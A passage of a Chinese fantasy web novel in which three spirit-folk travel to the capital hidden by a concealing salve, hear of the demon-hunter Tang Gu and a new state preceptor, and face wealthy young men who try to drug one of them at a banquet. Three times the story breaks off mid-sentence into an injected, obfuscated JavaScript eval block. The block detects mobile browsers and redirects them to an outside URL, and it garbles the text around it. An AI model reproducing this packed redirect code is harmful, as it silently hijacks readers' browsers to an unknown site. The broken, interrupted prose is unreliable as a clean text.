青崖失望地哦了一声。有一刹那,她期盼那是长山。隐灵膏是药膏的一种,长山最擅长研制药物。可长山如今应该二十六岁,他长得的确好看,但正气古板如老学究,绝不可能风流,且父母双亡,更不可能有一个官员父亲。 小狼问:“是‘楚醉君’制作出这种药膏的吗?” “这就不知道了,咱们也不好问,”季师傅道,“以当前律法和局势,发明制作这种药膏可比一般的与妖合谋还危险。与妖合谋只帮几个妖,这种东西可不知帮了多少妖,万一落到诛邪司,非被术士生吞活剥不可。” 他继续摸索包裹,取出另一个一模一样的瓷罐,道:“一共两罐,你们收着,千万别弄丢了。坊主本意是把这东西送给你们,方便你们随处走动,没想到你们会去京城,说来也巧,这下隐灵膏起了大作用。你们上京一路计算好,省着点用,若是提前用完,可没地方补充,到时候想入京就难喽。” 青崖把两个瓷罐拿在手里,突然意识到季师傅这样护送他们入京也是冒着生命危险的,不禁问道:“季师傅,你不害怕被我们连累吗?” 季师傅一扬下巴,“不害怕,我高兴!” “为什么?” 路途遥远,说话正好可消磨时间,季师傅于是娓娓而谈:“十几年前,我儿降生,因为脸上有一块特殊胎记,被一个江湖术士诬陷为妖,非要肢解验身。” “肢解啊!他们要肢解尚未足月的婴儿!”季师傅说得咬牙切齿。 “我到处求助无门,是牡丹坊主花钱打点关系,这才说服术士和官员,让他们不要肢解我儿,只是把我儿脸上的胎记给割掉验证。我儿脸上到现在还有一大块疤,不过好歹保住性命,平安长大了。 “打那以后,我最恨的就是捉妖术士,只要跟他们对着干,我就高兴。我全家为坊主做事十多年,坊主为人善良仗义,她的朋友,无论什么身份,肯定不是恶人。 “依我看,以汤固为首的捉妖术士才不像好人,他们捉来的妖有好多分明是人的模样,有的甚至是小孩,看起来弱小无害,术士竟也下得去手,把人家不是肢解挖心就是剥皮炼骨。捉妖术士有一个算一个,都阴气森森的。对了,你们听说过汤固吧?” 青崖与小狼凛然点头:“听说过。” 汤固,诛邪司首领,皇帝最倚重的捉妖术士。 这个名字他们都很熟悉,红鸾常常拿这名字作为捉妖术士的代表吓唬他们,说汤固法术高强,任何妖类一旦遇到他必定原形毕露,惨遭折磨。红鸾甚至详细描述汤固如何使用阵法抽干妖的灵力、如何把妖的皮肤一寸寸用刀与肉分离,久而久之,他们对这个名字一听就怕。 他们相信红鸾的说法,因为红鸾曾见过汤固。 红鸾被恋人伤害后,并未立刻离京,仍在京城潜伏。那时候还没有可以分辨妖的有效手段,妖只要不在人前变身或施法就可以隐藏身份。后来她之所以不得不离开京城,主要就是因为那个叫汤固的术士。 神凤二年,皇帝颁布《捉妖令》,神凤六年,那人横空出世,亲手捉拿十几个妖,押送入京献给皇帝。他会画符布阵,捉妖防妖,还指出《天书》所谓“食妖心可得长生”的说法有误,应当是“食妖丹可得长生”,并向皇帝演示如何剖丹。 剖丹过程对妖来说痛不欲生,没有一个妖能支撑到妖丹被完整剖出,毫无例外都在剖丹过程中死亡,妖一死,妖丹也随即消失。因此,汤固尚未成功剖出过妖丹,但他承诺,他一定会为此努力,哪怕需要终身修行。 皇帝渴求长生,汤固得到重用。 在皇帝支持下,汤固开宗收徒,将他自己发明的阵法、符篆、法器等对付妖的手段传授给愿意拜师的术士。与其他江湖术士不同,汤固的术法都可以在他捉到的妖的身上得以验证,他还深受皇帝赏识,一时之间,拜师学艺者众多。 汤固出山之前,江湖术士真真假假一盘散沙。 汤固出山之后,创建隶属于朝廷的机构——诛邪司,培养出一批真正的捉妖术士,像红鸾一样隐藏在人中的妖,为了安全起见,不得不选择离开人群。 红鸾回忆着当年的情形,道:“现在诛邪司创立已有二十年,汤固年近半百,他的徒子徒孙已经遍布天下了吧?” 季师傅道:“说多不多,说少不少,毕竟诛邪司也不是想进就能进的,他们只收那些有天赋能学会术法的人。现在略有规模一些的城池都有术士坐镇,你们可以默认有官兵的地方,就有术士,术士的数量大约是官兵数量的一成。” 红鸾问:“汤固最近也在京城吗?” “他常常外出捉妖或巡查指点各地术士,有一半时间都不在京城。我三个月前离京的时候,他就不在,等咱们回去时他在不在,我也无法预知。不过最近三四年都没在京城发现有妖,术士们也比较松懈,你们只要能通过城门口鉴形墨的检查,不在街上过于引人注目,且不进宫,就没什么大碍。” “即便如此,还是心中有数最好,你派人提前回京打探一下。” “红老板说得是,等到泰安我就去买两匹快马,派两个人先行回去,也让他们给牡丹坊主提前送个信,坊主若知道红老板你来了,一定会很高兴。”季师傅道,“希望汤固不在京城,如果他在,你们上街就得千万小心了,千万不要与他面对面碰到。他位高权重,只要他认为形迹可疑的人,他都有权将其抓入诛邪司,进行审问与验身,非得把所有鉴妖方法都试完一遍,确认无误,才会放人。” 青崖问:“除了在身上点鉴形墨,他们还有什么鉴妖方法?” 季师傅道:“很多,我听闻有能让妖现形的符水、能困住妖的法阵、能让妖失去力气的药丸,还有特制的可以追踪妖的网和箭,据说还有许多不被众人所知的秘密法器,只因制作困难而难以推广,又或者为了保密,唯有负责保卫皇亲国戚的术士才有权使用。这些东西十之八九都是汤固研究出来的。哎,我虽不想承认,但汤固确实是个厉害的人,能研究出那么多五花八门的东西。” 青崖摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13749276|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄着装有隐灵膏的小药罐,“如果说汤固厉害,那研究出这种隐灵膏的人岂不是比汤固更厉害?毕竟他技高一筹,能破解汤固的鉴形墨,说不定其他鉴妖方法他也能破解,只是我们不知道而已。” 此人不仅有才,且对灵族有益,不知是人族还是灵族。青崖向往道:“发明出隐灵膏的人不知在不在京城,如果有缘认识一下就好啦,我们可以多买一些隐灵膏,方便日后自由走动。” 季师傅肃然道:“姑娘到了京城可千万不要四处打听。” 青崖:“知道,不能四处打听,也不能让别人知道有这种东西,最多问问牡丹姐,听到了吗小狼?” “听到了,”小狼应道,“不告诉别人,我只告诉芊芊。” 红鸾警告:“同芊芊也不能说。” 小狼很是不满:“你都试探过她了,怎么还不信任她?” “不是不信任,”红鸾道,“你和她年纪不大,心志不坚,阅历尚浅,有可能被人欺骗或威胁,一不小心说出秘密。要保密的事太多,压在心里会有负担。让她少知道一点,是为了她好。” “行吧行吧,”小狼心知说不过姐姐,只好答应,“我不告诉她。” 季师傅继续讲捉妖术士,道:“诛邪司从创立到现在,花费二十年时间也没能成功剖出过一个妖丹,皇帝曾重金悬赏希望有人能解决这个难题,但所有尝试的人都失败了。也不知是他们杀妖太多,还是妖都躲了起来,反正现在术士遍天下,比妖还多。偶尔听说他们又抓了几个妖,见过的人都说抓到的妖年纪很小,看起来和人没什么区别——到底抓到的是不是妖,我们这些普通百姓也不知道,只知道他们被抓之后,没一个能活着走出诛邪司。” 青崖皱了皱眉。灵族二十左右结丹,年纪太小则没有内丹,诛邪司杀过那么多灵,一定已经知道这点,那他们捉到小妖难道直接诛杀?会不会……关押在牢里,等小妖长大? 这个可能越想越可怕。落在捉妖术士手里,关押恐怕不止限制自由那么简单,一定少不了每日的摧残与折磨。 青崖忍不住往姐姐身边挨近,顺便拍了一下小狼,道:“从现在开始,你不许单独行动,不许离开我和红鸾姐的视线。”说完发觉这话很是耳熟,正是红鸾觉察危险时常对她说的话。 捉妖术士现在难以捉到妖,一定也有鹤老夫人的功劳。迄今为止,她在槐谷已收到过两次灵岛的请帖。若非鹤夫人坚持不懈派使者到处走访,把分散各地的灵族都叫到位置隐秘的灵岛去,那么被抓入诛邪司的灵族一定比现在多许多。 季师傅听出青崖的害怕,安慰道:“你们小心即可,也不用过于恐惧。近来能抓到的妖越来越少,圣上一直得不到妖丹,诛邪司的地位也有所下降,去年好多术士被分配到其他公署当差,显然是上面有意要减少术士的数量。这几年圣上又听说了新的可以长生不老的方法,对于捉妖已经没有以前那么热忱了。” 青崖回忆牡丹坊主来信中的记录,道:“新的方法?是不是国师的方法?” 曾有一度,举国传闻汤固会成为东莱国的国师,谁也没想到,真正成为国师的是另外一人:临渊仙长。 45. 大车槛槛4 四年前,东莱国北方大旱。旱情年年都有,那年最为严重。入夏后,北方十余郡滴雨未落,眼看秧苗就要干枯而死,一个宣称自己会做法降雨的人,在旱情最为紧急的上谷郡开坛做法。当日,大雨如注,甘霖一般降落,滋润了干涸已久的土地。 此后,他走遍北方十余郡,但凡做法必定灵验,“神迹”传入京城,被皇帝请入皇宫。 那一年,牡丹寄给红鸾的要闻记录中第一次提到他:临渊仙长,姓名不详,年龄不详,出身不详,自言百岁有余,善降雨,天子新幸。 第二次再次提他,写道:仙长炼丹,愈帝之旧疾,又言日食其药,可以长生。帝大喜,赐万金,仙长不受,请愿每岁降雨,助陛下造福东莱。 又过一年,写道:众人皆言,陛下乃真命天子,得上天眷顾,降神官临渊下凡,携天命以助大业,福泽万民。帝下诏曰:“顺天意,崇贤才,尊临渊为国师,以重神明。” 就这样,不知从哪里冒出的临渊仙长,一步登天,坐上了国师之位。 青崖问:“皇帝立临渊仙长为国师,是不是国师的长生丹药真的有效?” 不然如何解释,汤固效忠皇帝二十年依然不过是诛邪司首领,临渊仙长后来者居上,进入皇帝视线四年即成为国师? 季师傅道:“长生丹药有没有效,现在也没法知道。陛下身边的术士换了一个又一个,个个都说可以炼制出长生不老药。” 青崖道:“是不是因为他真的有一百多岁,所以皇帝相信他?” “国师说自己有一百多岁,”季师傅道,“不过年纪不重要,重要的是他真能降雨。汤固捉妖只有极少人看到过,而临渊仙长连续两年在多地降雨止涝,声望之高,远在汤固之上。陛下立国师也会考虑民心嘛,所以自然是临渊仙长更为适合。” 红鸾嘲讽道:“皇帝不只是考虑民心吧,汤固徒弟遍天下,若再被立为国师,权势滔天,他恐怕要睡不安稳了。” 季师傅再大胆也不敢妄议皇帝,呵呵一笑,并不接话。 “国师真有一百多岁吗?”青崖问道,“我还没见过超过一百岁的人呢。” 百岁的灵族没什么稀奇,百岁的人族却很稀奇。她其实很怀疑国师到底是不是人族?降雨这种事,只有擅长控水的灵族能做到,诛邪司术士都没有会降雨的,其他普通人又怎么可能会降雨? 当初她与姐姐听说临渊仙长的事迹后,一致认为国师定是伪装成人族接近皇帝的灵,并且极有可能就是五年前在槐谷出现过的神秘白衣男子。那个男子曾操控冰刃将她打伤,正是擅长控水的灵。他想辅佐哲远,改变东莱国律法、提升灵族地位,潜伏到皇帝身边合情合理。 “只看外表,国师看起来像而立……不惑之年吧,”季师傅语气中带着一丝戏谑,“神官的年龄,我等凡人自然看不出来。” 青崖与红鸾对视一眼,更确定了自己的猜测。那个白衣男子,外表也是而立之年,伪装伪装,就能扮作四十岁。 “他经常拿扇子吗?” “扇子?没有,他经常拿着一柄拂尘。我偶然远远见过几次,他看起来的确与以前皇帝身边的术士很不一样,唔……这么说罢,民间称赞他气派非凡,宛如谪仙,一点也不算夸张。” 青崖回想了一下,那白衣男子的确有一副好皮囊,扇子又不是施法必备的法器,只是个人爱好,为了伪装身份,当然可以更换,不能当作身份证明,又问:“‘国师’官很大吗?有什么权利?” “国师”名号听起来挺厉害,具体做什么却不知道。 季师傅在牡丹舞楼做事多年,作为京城最有名的清妙坊,每日迎来送往的都是达官贵人,讲起他们的身份高低,季师傅头头是道。 “理论上,国师并无实权,只是在皇帝做决策时可以问询天意的一个职位。他的俸禄自然不少,吃穿用度,可谓要什么有什么。除去炼丹与求雨,三公九卿负责的差事他概不负责。但因受皇帝器重,他的话可以左右皇帝的决策,许多事都会受到他的影响。比如,他说按他的设计建一座五层高楼,要比周围的建筑都高,就可以帮助皇帝修炼,早日得道成仙,皇帝当即应允,大兴土木,建造新楼。对了,等咱们这次回到京城,那楼大约正好开工破土。” 季师傅待要继续往下讲,只听咚的一声,小狼的脑袋一歪,磕在车身上——他对这些不感兴趣,听得昏昏欲睡,后脑磕痛,猛然惊醒,迷迷糊糊咕哝:“到了吗?” 青崖捏了捏拳头,“好些事我们都知道,就是专门说给你听的,你还打瞌睡!” 小狼道:“没有,我听着呢。” 青崖道:“那我们方才说了什么?” 小狼目光涣散:“汤固……封国师为皇帝……诛邪司的……谁?一百岁?” “……”青崖一记爆栗砸在小狼头上,“你给我清醒过来,好好听着!” 小狼支撑精神,听季师傅又讲一遍,好不容易挨到看见泰安的城墙。 泰安是从槐谷去往京城必会经过的地方。 在城门口,要进入内城的人排成一队,等待通过城门口的检查。青崖所在的商队和芊芊他们一家都排在队伍里,中间隔了几十个人和四五辆马车,在所有马车里,他们一行人的马车是朴实无华。 小狼探了一下脑袋,被红鸾拉回马车里,示意他安静,不许动,免得他探头探脑张望芊芊引人注意。 季师傅带领的商队名义上是从京城出发,去往各地采买各地特色服饰与丝绸布匹的。牡丹在京城也确实有布庄衣店,所以文书路引齐全。青崖、红鸾和小狼都提前涂了隐灵膏,城门口的士兵在术士监督下,将鉴形墨点在他们手腕的灵道穴上,黑色墨点毫无意外没有变色,他们顺利通过检验,进入泰安城。 城门口的术士与士兵很好区分,他们服装不同,且术士腰间都挂有一个银铃。他们无法分辨银铃是真正的法器,还是只是身份象征物,通过时,都会小心地收敛起身上的灵气,避免触发铃响。 有隐灵膏的帮助,他们连过好几座城池都平安无事。一行人低调而行,连日赶路。芊芊一家为了尽快赶到京城给父亲看病,一路上毫不耽搁。芊芊每到分岔路口就偷偷撒下香粉作为标记,好让青崖他们便于追踪。 他们白日赶路,到了晚上有时在郊外搭帐睡觉,有时在城里打尖住店。每次住店,商队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13754113|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽可能与芊芊一家分开住宿,若实在不巧,只有一家客栈可以投宿,青崖、红鸾、小狼就避免露面,凡事交给季师傅张罗。 一个月后,他们如计划中一般,走完了一半路程。 这日,天色已晚,众人又在城里一家客栈度夜。 连日风餐露宿,商队里的伙计一到有床的地方,恨不得立刻上床睡觉,吃完饭天还没黑就各自回房歇息。每到可以休整的地方,红鸾就要花大量时间梳洗、更衣,小狼得空就想方设法去与芊芊相会,青崖落了单,看到客栈堂中还有人说书,就泡了一壶自带的花果茶,留在堂中听书。 听着听着,有两个男子突然自作主张地来到她旁边坐下,问道:“妹妹怎么一个人坐在这里听书?” 两个男子都是二十出头,相貌普通,穿着倒是讲究,一身精致锦衣和腰间玉佩,一看就是有钱人家的公子哥。 说书先生正在讲毛姓一家人在一夜之间离奇失踪的故事,青崖被勾起好奇心,想知道是怎么一回事,对于旁人的打扰有几分不悦,反问道:“我不能一个人坐在这里听书么?”说话时眼睛仍盯着说书先生,生怕听漏一句话。 其中一个男子道:“妹妹一个人难免寂寞,不如我们陪你一起听?” 没等青崖答应,他们已经自行落座。青崖无所谓道:“随你。” 另一个男子道:“我姓高,他姓李,妹妹你姓什么?” “林。” “叫什么名字?” “青崖。” “林妹妹可吃过晚饭了?”高公子没等青崖回答就对身后家仆一招手,吩咐道:“去把店里最好的饭菜上一桌来。” 青崖张了张口,想说“我吃过了”,转瞬被故事里查找真相的人的新发现引走注意力,忘了说话。等听完故事,再回神,桌上已摆满饭菜。 她晚上没吃饭,因为她根本就不用吃饭。 青崖面对莫名其妙热情过度的高公子和李公子有点无措,因为盛情难却,象征性地吃了几口,问:“这是你们此地的风俗吗?经常请陌生人吃饭?” 高公子道:“绝对不是,只因林妹妹你如此花容月貌,我们见了喜爱,才请你吃饭。” 青崖仔细听了一下,这句话是真的。 明明是夸赞,也是真话,她却感到几分说不清道不明的不适。她想说我姐姐更美,又怕他们要求她把姐姐拉出来给他们看,就只木然地哦了一声。 “妹妹几岁?” “二十。” “妹妹是哪里人?” “青州齐郡人。” 青州齐郡,恰好在槐谷附近,是东莱国边境偏远之地。牡丹与红鸾通信多年,为了让红鸾有正式身份出行方便,早为红鸾与青崖制造好了假的身份文书,她们认小狼为弟后,牡丹也给小狼造了假身份,同是青州齐郡人。 “妹妹去哪里?” “入京去看望一个姐姐。” “妹妹家是做什么的?” “……” 青崖一阵无语,觉得这对话无聊至极,像极了城门口的官兵盘查来往人员时问的问题。这些问题该怎么回答,她倒背如流,早说得烦了。 46. 大车槛槛5 高公子觉察她的腻烦,自觉地不再问话,而是自我介绍起来。 谈话间得知,高公子和李公子是从西亳城结伴出来游玩的,一听青崖下一站也要去豫州西亳城,高兴道:“我们正要回去,和林妹妹是同路呢。” 青崖听他们一口一个“林妹妹”,忍不住在心中暗笑。若论起年龄,她说不定比他们还大一两岁,只不过因为灵族寿命比人长,弱冠之后开始变化缓慢,显得她像妹妹罢了。 第二日启程时,在商队旁边,果然有几辆华贵马车,正是高公子和李公子的。除了他们自己乘坐的车,还有拉行李的车,仆人坐的车,仅二人出游,却有浩浩荡荡的架势。这么一对比,季师傅商队的人与车都显出一种灰扑扑的穷困之象。 高公子与李公子扫视商队,果然被他们的穷困表象给骗了,叹道:“哎呀,林妹妹坐这样的马车长途旅行,岂不辛苦?我的马车宽敞又舒适,妹妹要不要与我同乘?啊,妹妹若是觉得男女有别,我们可以让出一辆马车,让妹妹单独乘坐。” 青崖道:“多谢,不必了,我和姐姐要在一起。” 红鸾做男装打扮,仍能明显看出是女子。高公子看了红鸾一眼,只觉女子男装,不伦不类,且这女子眼神凌厉,浑身透露出一股寒意,让人只想躲她远一点。 高公子还想说什么,季师傅手中拿着一件满是灰尘的外袍,啪的一声抖了一下,清晨的阳光下,抖落的灰尘粒粒可见,在空中形成一团尘烟,高公子捂着口鼻连连后退。季师傅趁机把青崖往马车上推,道:“姑娘小心灰尘,快上车吧。” 青崖坐到车上,高公子又在车下叫她:“林妹妹,我的车队就在近处,你路上有什么需要可随时找我!” 马车驶出一段距离,小狼学着高公子的语气,拿腔拿调道:“林妹妹——林妹妹怎么不去坐他们的马车?” *** 商队往西亳城走,青崖自始至终没去找过高公子,高公子却主动频频示好,路上不是送水就是送吃食,不仅送她,给红鸾、小狼、季师傅等与她同行的人也送,一派慷慨之意。晚上还硬是让仆人给她搭了一个华丽又厚实的睡帐,美名其曰怕她受凉。 青崖对两位公子没什么兴趣。若仅靠面相与直觉判断,这两位公子属于“不好看,她不喜欢”的那类。但对方行为全是好意,红鸾又意外地在这件事上默不作声,旅途无聊,青崖就偶尔与高公子和李公子攀谈几句,向他们打听当地风土人情。 到得西亳城,那高公子回到自己的地盘就更热情了,直接包下一整间大客栈,对青崖道:“林妹妹和姐弟朋友们在此处随便吃,随便住,我请客。西亳城的客栈可比其他小郡城的客栈要昂贵的多,林妹妹不必破费,也不必去找那又破又小的客栈委屈自己。” 高公子拿出几片金羽抛给客栈店主,动作多少有几分刻意,好像生怕青崖看不到他抛的是金羽。 “额……姐姐,我们住不住?”青崖问红鸾。她们不缺金羽,不想太过张扬,才没有大手大脚花钱,总找一般小店住。 以前与人来往得少,从没有行走江湖的经历,她有点拿不准该不该拒绝高公子这样热情的招待。 或许凡人之间交朋友都是这样的?若强行拒绝,会不会让人怀疑自己怪异? 这一路走来,红鸾有意要磨炼她,大部分事都让她自己拿主意。但遇到自己拿不定主意的事,青崖还是习惯性地要问红鸾怎么办。 到了如此大城,芊芊一家要找当地大夫,给父亲瞧瞧病情,商队也正好得买些旅途补给,做样子去采买一些当地特有的锦绣布匹,总之,都会逗留几日。 “住下吧,沾了林妹妹的光,多谢高公子。”红鸾不冷不热地道了声谢,先行进入客栈二楼挑了一个干净房间,季师傅随红鸾谢过高公子,让商队的人各自找房休息。 第二日,红鸾和季师傅一起去采买布匹,一大早就不见踪影,小狼自然又是去和芊芊相会。让他不许单独走动的话,他全当耳旁风。 青崖左右无事,就应了高公子的约,任凭高公子带她游玩西亳城。 第一次正式拥有东莱国子民的身份,成为人群中的一个“人”,尽管身份是假的,青崖的的开心却是真的。她跟随高公子去著名饭庄品尝美味佳肴,去街头观看令人眼花缭乱的杂耍,去茶馆听书赏曲。高公子最大的毛病就是爱炫耀自己有钱,除此之外还算是个热心的带路朋友,三日下来,青崖穿梭西豪城的大街小巷,见识到了各式各样的繁华景象。 第三日晚饭时间,她一回到客栈,就被小狼拽住。小狼道:“你可算回来了,我们一直在等你,赶紧上路,芊芊她们已经出发了。” 青崖没想到芊芊一家这么快就要启程,本来还答应了高公子晚上去他家吃晚饭,道:“你们先走,在城门口等我,我同高公子知会一声就去找你们。” 红鸾一言不发,径直上了马车,季师傅嘱咐:“青崖姑娘,我们就在西边城门口等你,你可抓紧时间,莫要耽搁呀。” “知道啦。” 自从青崖在高公子包场的客栈住下,门口就一直都有一辆高公子留下的豪华马车和一个仆人,说是专门供她使用。青崖坐上马车说去找高公子,仆人就驾车直接把她带到高公子的私宅。 在西亳城游玩的第一天,包公子就带青崖参观过他的私宅。说来也怪,高公子有意炫耀,带她去看的私宅,却意外普通,与他的华丽马车毫不相配。 青崖问时,他解释说:“家中父母喜欢安静,这处私宅是我专门会客用的,只有招待朋友聚会才来,因此没有铺张浪费买大院子。” 这个解释半真半假,青崖也无心深究,等她离开西亳城就与高公子毫无瓜葛了,管他院子是怎么回事呢。 青崖跟随仆人一进院子就听到屋里有说话声,高公子正在招待一些朋友。他们在讨论什么美人,一个带着三分醉意的声音道:“美人只有让脱衣服才算最美,不让脱就不美。”屋里一片嘻哈附和声。 听到这样粗俗的话,青崖脚步顿了一下。先前高公子都是单独与她吃饭,这几日结伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13766103|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游玩,熟悉了几分,高公子这才提起晚上要宴请朋友,请她一起来。 高公子今晚宴请的朋友竟是这样的货色? 青崖皱了一下眉,打定主意同高公子简单告辞后就走,对带路的人道:“我不进去了,你去把高公子叫出来。” 仆人应声,进屋报道:“公子,林姑娘到了,她在外面等你。” 突然,所有嘻哈声都停止了,屋里变得鸦雀无声,就像里面所有人都知道她,都在等着她来,等她一来就要开始什么事情。 高公子道:“让她进来啊。” 仆人道:“说是来辞行的,不吃晚饭,立刻就要走。” 高公子道:“什么?现在?眼看就快得手了,现在让她走,我可舍不得。” 他这句话声音不大,青崖却听得清清楚楚,刹那间,对高公子这几日热情招待的感谢之意消散得干干净净。 高公子带着一身酒气从屋里走出,摆出一副热情笑脸,装作根本不知道青崖要走的样子招呼她进屋。 青崖本可以直接在门口告别,听了高公子那句话后却想知道他怎么“就快得手了”,在好奇心与好胜心驱驶下,跟随高公子进入会客厅。 厅上一共坐着四位年轻公子,其中一位是先前同高公子一起出游,路上就结识的李公子,另外三个都是陌生面孔,每位公子的身边都有一个女子相陪,站在他们身后,给他们斟酒或摇扇。 她一入厅,公子们的目光都齐刷刷向她投来,眼中闪过惊讶与垂涎之色,有人激动地站起,兴奋道:“这就是高公子说的林妹妹?妹妹不知,他一直称赞说你是难得一见的美人,定要介绍给我们让我们见识见识。今日有幸得见,果然名不虚传!” 一人夸张地嗯了一声,嘿嘿附和:“我阅女无数,林妹妹这样的绝色,我还真没尝过。” 说着,他用瞧猎物一般的目光将青崖从头到尾瞧了个遍。 听他声音,正是先前那个说“美人脱衣才美”的人。 青崖开始后悔进屋看看的决定。这果然是令人不适的场景,她一刻也不想停留,打算草草应付一下,快走为妙。 高公子道:“林妹妹,这些是……” “我要走了,”青崖打断他的话,“多谢这几日的款待,所以我走之前特地来跟你说一声。” 高公子早有打算,从善如流道:“也罢,妹妹要走,我也不能强留。相识就是有缘,临走前妹妹与我一起喝杯告别酒,应当的吧?”倒了满满一杯酒递给青崖。 青崖接过酒杯闻了一下,确认是普通的酒。凡人饮食,只要没有加入有毒仙草,没有术法影响,无论是什么,都对妖无害,喝酒也不会醉。 她仰头一饮而尽。 放下杯子的时候,却察觉到有一丝不寻常。 酒确实是普通的酒,只不过味道要烈一些,大约是让人更容易喝醉的酒,但这也没什么不寻常。 不寻常的是,屋里有一丝微弱灵气。 也就是说,在这间屋子里,有一个灵族。 47. 大车槛槛6 灵流散发的的灵气与灵族人身上散发出的灵气大不相同,因此很好区分。 青崖扫视一圈,却难以辨别灵气是从谁身上散发出来的。那丝灵气过于微弱,简直若有若无。 握着酒杯辨别之际,高公子又给她杯中倒满了酒,李公子站起来道:“同行一程,林妹妹不能只同高公子喝告别酒,而不和我喝告别酒。” “公子说的是。”青崖应声,再次饮尽杯中酒,趁说话的时机,往李公子那边靠近了几步。 灵气变得更微弱了,说明源头不是李公子这个方向。 她横挪几步,走到另一位公子和美人的案几前,指着案上的点心问:“这是什么?看起来很好吃。” 灵气没有变强,也不是这个方向。 那公子把盘子往她面前推了推,道:“西亳城特有的点心,姑娘尝尝。”递点心同时又给青崖倒满了酒,“这点心配酒才最美味。” 几位公子都有意套近乎,找各种各样的理由劝酒,青崖来者不拒,借机挨个探了一遍,一直试到第四位公子和他身边的女子,才蓦然感到灵气增强。 那位公子穿得最为华贵,连他身边的女子,衣服装扮也更为精致。 “呀,这位妹妹的裙子好美呀。”青崖围着公子和美人走了一圈,确认灵气正是来自这位女子。 仔细一看,这女子算是几位女侍中最为年轻美貌的,大约十五六岁,只因双目略显呆滞而美得不够出众,有点像被点灵术控制的尚未开灵智的灵。但其他侍女与她相比也几乎同样呆滞,都是低眉顺眼,逆来顺受的样子。若非特意观察对比,绝对看不出这位身上有灵气的女子有什么特别。 按理说,一个正常的灵族,身上的灵气绝不会如此之弱,除非她是有意收敛。 青崖一时难以确定这位女子是有意收敛,装作木然呆滞,还是有什么特别的缘由,导致她身上灵气这么弱。她不动声色地退后几步,打算回去问问姐姐。 女子身边的公子奉承道:“庸脂俗粉,穿再漂亮的裙子,也不如林妹妹漂亮。妹妹若喜欢这裙子,我叫她脱了送你。” 青崖没有理会那公子,而是暗中观察那女子脸色,只见她仍低眉顺眼站在那公子身边,对这样粗俗的话语毫无反应。青崖甚至怀疑,如果那公子真让她当众脱下裙子,她也会毫不犹豫地照做。 她想不明白这女子为何会这样,也不敢轻举妄动。既然探明了灵气来源,就没有理由再继续逗留。她放下酒杯道:“我的朋友们还在等我回去,我要走了。” “这可不行。”高公子佯装不经意地站在门口堵住了门,突然一拍脑门,“险些忘了,我还备有一壶好酒要请妹妹品尝。” 闻言,李公子立即会意,转去内室取出另一壶酒给青崖斟了满杯。 青崖放在鼻下一嗅,这次的酒就不简单了,不仅味道更浓烈,其中还夹杂一丝药气。 她脸色彻底冷了下去,啪的一声把酒杯放回桌上,“我要走,别拦路。” 要不是答应姐姐尽量不要惹事,早推开高公子出门去了。几个酒囊饭袋,哪里拦得住她。 众人被她气势震得愣了一下。几杯烈酒下肚还能脸不红身不晃的女子本就少见,他们几个又是西亳有名的纨绔,面对他们几人敢冷脸拒绝劝酒的更是不多。 李公子拿起青崖放下的那杯酒道:“林妹妹说话小心,高公子不高兴了,你家的商队可难出城。” “哎,不要吓唬林妹妹,”高公子道,“高某这几日招待妹妹可有不周?” 青崖道:“你招待得很好。” “那妹妹临走前就这点薄面也不给,让我在朋友面前丢脸?” “你丢什么脸?” “酒桌上的规矩,妹妹难道不懂?” “什么规矩?” 高公子对其他人一扬下巴,道:“给林妹妹示范一下。” “看好了,”一个公子应声,对他身边伺候他的女子道:“你,过来,倒酒。” 他身边的女子正是身有灵气的那一个,顺从地给那男子杯中倒满了酒。 那公子又命令:“喝酒。” 女子端起酒杯一饮而尽。 那公子举起酒壶道:“跪下,张嘴。” 女子毫无迟疑地跪地,张开了嘴。 那公子把酒壶高高举起,里面的酒液倾倒在女子口中。他故意将一线酒液倒得摇摇晃晃,一半落在女子口中,一半洒在女子脸上,沿着女子的脸颊流淌到脖颈中,浸湿她的衣领,女子浑然不觉,自始至终仰着头,张嘴接住那公子倒出的酒液。 众公子起哄:“哎——对,女子陪酒,理应如此,王兄调教得好哇。” 青崖强忍不适看着这一幕,隐隐觉得那女子似乎真的没有自己的意识,那公子说什么她就做什么。 “我明白规矩了。”她也拿起一壶酒,走到那王姓公子面前,手搭在他肩膀上微微一笑。 王公子回以期许的邪笑,嘴角还没扯开,就感到肩上的压力犹如泰山压顶,瞬间压弯了他的双腿。 “跪下!” 青崖直接把壶嘴塞到王公子口中。 “张嘴!” 王公子还来不及作出任何反应,青崖已将酒壶倒了个底朝天,酒液倾泻而下,王公子不仅呛了两口酒,还被弄得满头满脸都是酒水,比他身边那位女子还狼狈。 在场众人惊呆。 李公子拍桌大呼:“臭丫头!好大的胆子!抓住她,今天好好教教她陪酒的规矩!” 